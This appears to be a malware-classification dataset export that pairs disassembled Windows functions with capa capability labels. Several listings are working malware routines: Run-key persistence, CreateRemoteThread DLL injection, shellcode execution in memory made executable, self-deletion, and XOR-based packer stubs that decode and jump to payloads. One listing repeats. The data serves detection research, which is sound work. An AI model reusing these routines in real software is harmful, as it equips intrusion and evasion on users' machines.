joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40621c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406241
mov eax, dword [0x4098b8]
cmp eax, 0xffffffff
je 0x406238
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x4098b8], 0xffffffff
jmp 0x4062b4
cmp dword [0x43a980], ebx
je 0x4062b4
cmp byte [0x43a580], bl
je 0x406280
cmp dword [0x4098b8], 0xffffffff
jne 0x406289
push 4
push 0x40000000
push 0x43a580
call fcn.00405be4
cmp eax, 0xffffffff
mov dword [0x4098b8], eax
je 0x4062b4
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x4098b8], 0xffffffff
je 0x4062b4
push esi
mov esi, 0x43e9c0
push 0x409a8c
push esi
call fcn.00405f31
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00405f24
push eax
push esi
push dword [0x4098b8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40637a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x43a174], esi
push edi
jne 0x4063b4
mov ecx, 0x43a170
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x406390
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x43a570
jl 0x40638b
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x4063e9
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43a170]
xor eax, esi
inc ecx
dec edx
jne 0x4063cc
pop edi
pop esi
not eax
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3d7a2aa6
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x247c07d3
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x401443
pop dword [ebp - 0x10]
mov eax, 0x149c4a76
sub eax, 0x145c3633
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x4b01db4e
add dword [ebp - 0x20], 0x35069fd
mov dword [ebp - 0x1c], 0x30ee2e1e
add dword [ebp - 0x1c], 0x1451e27
mov dword [ebp - 0x18], 0x26a766e7
add dword [ebp - 0x18], 0x25a4dd47
mov dword [ebp - 0x14], 0x27aaeed9
add dword [ebp - 0x14], 0xd8551127
lea eax, [ebp - 0x20]
push eax
mov eax, 0x81148fb1
add eax, 0x7f2bf153
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x341e7b0f
add dword [ebp - 0x20], 0x4053ee47
mov dword [ebp - 0x1c], 0xd7e42154
add dword [ebp - 0x1c], 0x69884021
mov dword [ebp - 0x18], 0x27eb0c08
add dword [ebp - 0x18], 0x3b846064
mov dword [ebp - 0x14], 0xc54ee401
sub dword [ebp - 0x14], 0xc54ee401
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xe1f1e0f5
sub eax, 0xe1b15ff5
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x36812
push 0
call eax
mov ecx, 0x98367bb3
add ecx, 0x67c9c528
xor edi, edi
add edi, eax
mov ebx, 0x2c92ed5f
sub ebx, 0x2c4c095f
add ebx, dword [ebp - 0x10]
mov edx, 0x79b5b172
add edx, 0x9432be41
sub dword [ebp - 0xc], 0xff3ed3bf
mov esi, dword [ebx]
mov dword [ebp - 0xc], 0x78ffec52
sub esi, edx
mov dword [edi], esi
xor dword [ebp - 0xc], ecx
add edi, 0xa4519388
add edi, 0x5bae6c7c
add ebx, 4
loop 0x401567
add eax, 0xaad17e17
sub eax, 0xaad087d8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x66a41323
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x66a4139d
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x66a4142a
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x66a4140d
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x66a4142a
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret

Function at 0x66a4149a
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x66a415cd
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x66a41613
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x66a4165c
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x66a41659
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x66a4165c
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x66a417b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x66a41818
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x66a41ba0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x66a4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x66a46034]
sub esp, 4
test ebx, ebx
je 0x66a41beb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x66a41be4
test esi, esi
je 0x66a41be4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66a41bc0
mov dword [esp], 0x66a4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x66a41dd0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x66a441d8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x66a41e20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x66a41ef8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x66a41e5e
cmp eax, 4
jne 0x66a41e80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x66a41e6e
cmp edx, 4
je 0x66a41e6e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.66a41dd0
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x46d558], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46d558], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46d55c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46d560], eax
call edi
push eax
call esi
mov dword [0x46d568], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46d564], eax
mov eax, dword [0x46d564]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x46d568], ecx
je 0x41fc78
push eax
call esi
push dword [0x46d568]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x46d55c]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x46d560]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46d558]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402a90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x406008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x402b23
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x402b23
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push edi
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
nop dword [eax]
lea eax, [ebp - 0x20c]
push str.ac_client.exe
push eax
call edi
add esp, 8
test eax, eax
je 0x402b15
lea eax, [ebp - 0x230]
push eax
push esi
call ebx
test eax, eax
jne 0x402af0
jmp 0x402b21
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x234], eax
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x234]
xor ecx, ebp
pop esi
call fcn.00402c93
mov esp, ebp
pop ebp
ret

Function at 0x402b40
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x434
mov eax, dword [0x406008]
xor eax, esp
mov dword [esp + 0x430], eax
push ebx
push esi
push edi
push ecx
push 0x18
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x402bc9
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x428
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x402bc9
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32NextW]
nop dword [eax]
lea eax, [esp + 0x30]
push str.ac_client.exe
push eax
call edi
add esp, 8
test eax, eax
je 0x402bc1
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x402ba0
jmp 0x402bc9
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x43c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402c93
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x402c00
pop dword [ebp - 0x38]
mov eax, 0x35dfe3c4
add eax, 0xca60483c
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xd0539a0f
sub dword [ebp - 0x48], 0x820154c4
mov dword [ebp - 0x44], 0x6201dafe
add dword [ebp - 0x44], 0xd0317147
mov dword [ebp - 0x40], 0x238e1a8
sub dword [ebp - 0x40], 0xb5ec9d7a
mov dword [ebp - 0x3c], 0x2c714e96
sub dword [ebp - 0x3c], 0x2c714e96
lea eax, [ebp - 0x48]
push eax
mov eax, 0x13e397db
sub eax, 0x13a32777
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x4cfd1734
add dword [ebp - 0x48], 0x27755222
mov dword [ebp - 0x44], 0xbc96d8b0
sub dword [ebp - 0x44], 0x7b2a773b
mov dword [ebp - 0x40], 0x9f0630ae
add dword [ebp - 0x40], 0xc4693bbe
mov dword [ebp - 0x3c], 0xc3d9f754
add dword [ebp - 0x3c], 0x3c2608ac
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x8e28bc17
add eax, 0x7217b491
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34c72
push 0
call eax
mov ecx, 0x405b
xor ebx, ebx
add ebx, eax
mov edi, 0x9a2d42a8
sub edi, 0x99ec42a8
add edi, dword [ebp - 0x38]
mov edx, 0x9e0ebf7d
sub edx, 0xc9bf3a05
mov dword [ebp - 0x2c], 0x3eecdea9
mov esi, dword [edi]
xor dword [ebp - 0x18], 0xa9b1c858
xor esi, edx
sub dword [ebp - 0x1c], eax
mov dword [ebx], esi
add dword [ebp - 0x20], 0x7ad9c46c
add ebx, 4
add edi, 4
loop 0x402d1e
add eax, 0xefa6ea3f
sub eax, 0xefa5f600
xor ebx, ebx
add ebx, eax
add eax, 0xd5b820b1
sub eax, 0xd5b820ac
mov ecx, 0x890def68
add ecx, 0x77321098
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x920058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x9201a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x92007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x92006a
add dl, dl
jne 0x920089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9200dc
xor eax, eax
add dl, dl
jne 0x920096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x92017d
add dl, dl
jne 0x9200a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9200b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9200bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9200c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9200d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x920075
mov eax, 1
add dl, dl
jne 0x9200ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9200f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9200e1
sub eax, ebx
mov ebx, 1
jne 0x920128
mov ecx, 1
add dl, dl
jne 0x92010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x920119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x920105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x920075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x92013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x92014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x920136
cmp eax, 0x7d00
jae 0x92016d
cmp eax, 0x500
jb 0x920168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x920075
cmp eax, 0x7f
ja 0x920170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x920075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x92019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x920075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4061ae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4061bd
pop dword [ebp - 0x2c]
mov eax, 0xd86de56e
add eax, 0x27d27c4f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xc5f1c1c1
sub dword [ebp - 0x3c], 0x779f7c76
mov dword [ebp - 0x38], 0xf2096e21
add dword [ebp - 0x38], 0x4029de24
mov dword [ebp - 0x34], 0x7aeeb9ee
add dword [ebp - 0x34], 0xd15d8a40
mov dword [ebp - 0x30], 0x965e463f
add dword [ebp - 0x30], 0x69a1b9c1
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xd53dfb62
add dword [ebp - 0x3c], 0x9f346df4
mov dword [ebp - 0x38], 0x41c5ca29
add dword [ebp - 0x38], 0xffa6974c
mov dword [ebp - 0x34], 0xe82935fc
add dword [ebp - 0x34], 0x7b463670
mov dword [ebp - 0x30], 0x633e7d17
sub dword [ebp - 0x30], 0x633e7d17
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x5cd30d7d
sub eax, 0x5c929c6d
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x38711
push 0
call eax
mov ecx, 0x7ce5d29
add ecx, 0xf831eecc
mov esi, eax
mov edi, 0x47c93f9a
sub edi, 0x4785df9a
add edi, dword [ebp - 0x2c]
mov edx, 0x6e6a251b
sub dword [ebp - 0x20], 0xe0c5e391
mov ebx, dword [edi]
sub dword [ebp - 0x28], 0xe826eb21
xor ebx, edx
sub dword [ebp - 0x14], 0x48d44ddd
mov dword [esi], ebx
sub dword [ebp - 0x14], edx
add esi, 0x28aae291
sub esi, 0x28aae28d
add edi, 0x7effb4fe
sub edi, 0x7effb4fa
loop 0x4062d4
add eax, 0x5642bb88
add eax, 0xa9be671f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret